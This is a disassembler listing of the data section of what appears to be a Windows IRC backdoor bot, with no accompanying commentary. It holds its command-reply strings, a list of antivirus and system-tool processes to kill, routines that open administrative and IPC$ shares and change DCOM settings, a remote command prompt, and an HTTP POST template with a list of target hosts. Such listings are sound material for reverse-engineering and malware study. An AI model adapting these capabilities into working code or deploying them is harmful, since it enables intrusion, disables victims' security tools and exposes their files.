aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B8C	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439BB0	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BCC	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C18	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 4
unk_439C78	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439CA0	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439CD0	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439CF0	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EAC	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 10h
unk_439EE0	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 4
dword_43A1E8	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A214	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_43A23C	dd 7530h		; DATA XREF: sub_419F4D+12r
off_43A240	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A348
		dd offset dword_43A33C
		dd offset dword_43A330
		dd offset dword_43A324
		dd offset dword_43A318
		dd offset dword_43A30C
		dd offset dword_43A2FC
		dd offset dword_43A2F0
		dd offset dword_43A2E4
		dd offset dword_43A2D8
		dd offset dword_43A2CC
		dd offset dword_43A2BC
		dd offset dword_43A2B0
		dd offset dword_43A2A0
dword_43A2A0	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; .packed:0043A29Co
dword_43A2B0	dd 6E757269h, 78652E34h, 65h ; DATA XREF: .packed:0043A298o
dword_43A2BC	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: .packed:0043A294o
dword_43A2CC	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	.packed:0043A290o
dword_43A2D8	dd 74617373h, 78652E65h, 65h ; DATA XREF: .packed:0043A28Co
dword_43A2E4	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: .packed:0043A288o
dword_43A2F0	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: .packed:0043A284o
dword_43A2FC	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: .packed:0043A280o
dword_43A30C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: .packed:0043A27Co
dword_43A318	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: .packed:0043A278o
dword_43A324	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: .packed:0043A274o
dword_43A330	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: .packed:0043A270o
dword_43A33C	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: .packed:0043A26Co
dword_43A348	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: .packed:0043A268o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:0043A264o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:0043A260o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .packed:0043A25Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .packed:0043A258o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .packed:0043A254o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .packed:0043A250o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .packed:0043A24Co
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .packed:0043A248o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .packed:0043A244o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .packed:off_43A240o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 4
unk_43A3F8	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A41C	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_43A440	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A470	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A4A0	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A4C8	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A4F8	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A52C	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A550	dd offset dword_43A588	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 8
		dd offset dword_43A580
		align 10h
off_43A560	dd offset dword_43A57C	; DATA XREF: sub_41A6EA+1E3o
		dd offset dword_43A578
		dd offset dword_43A574
		dd offset dword_43A570
dword_43A570	dd 5C3A44h		; DATA XREF: sub_41A3C6+217o
					; .packed:0043A56Co
dword_43A574	dd 2444h		; DATA XREF: .packed:0043A568o
dword_43A578	dd 5C3A43h		; DATA XREF: .packed:0043A564o
dword_43A57C	dd 2443h		; DATA XREF: .packed:off_43A560o
dword_43A580	dd 494D4441h, 244Eh	; DATA XREF: .packed:0043A558o
dword_43A588	dd 24435049h, 0		; DATA XREF: .packed:off_43A550o
dword_43A590	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A5C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A5E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A614	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A638	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A664	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A688	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A6B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6F4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A728	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 4
dword_43A778	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 4
dword_43A7F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A828	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A850	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A870	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8AC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8E4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A924	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A940	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A998	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43ABA4	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC80	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43ACA4	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE8	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACEC	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACF0	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF8	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD08	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43AD38	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD64	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD80	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADBC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD8	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADDC	dw 4			; DATA XREF: sub_41B55B+10r
		align 10h
dword_43ADE0	dd 6325h		; DATA XREF: .packed:0041B89Co
dword_43ADE4	dd 0DFFh		; DATA XREF: .packed:0041B6EAo
dword_43ADE8	dd 51FFh		; DATA XREF: .packed:0041B6DFo
dword_43ADEC	dd 0EBFFh		; DATA XREF: .packed:0041B6D4o
dword_43ADF0	dd 201h			; DATA XREF: .packed:0041B6BFo
dword_43ADF4	dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: .packed:0041B6ADo
dword_43AE10	dd 0D5A308BEh		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE20	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE2C	dd offset sub_41D124	; DATA XREF: sub_41C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE38	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE3C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE50	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE54	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE60	dd offset off_43AE60	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE64	dd offset off_43AE60	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE78
		dd offset dword_43AE78
dword_43AE70	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE78	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.packed:0043AE68o
					; .packed:0043AE6Co
off_43CE80	dd offset off_43AE60	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE84	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE88	dd offset word_43CE92	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE8C	dd offset word_43CE92	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE92	dw 20h			; DATA XREF: sub_424FF8+18r
					; .packed:off_43CE88o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D094	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D098	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D0A0	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D0A4	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D0A8	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0B0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0B4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0C0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D1A0	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D1A4	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
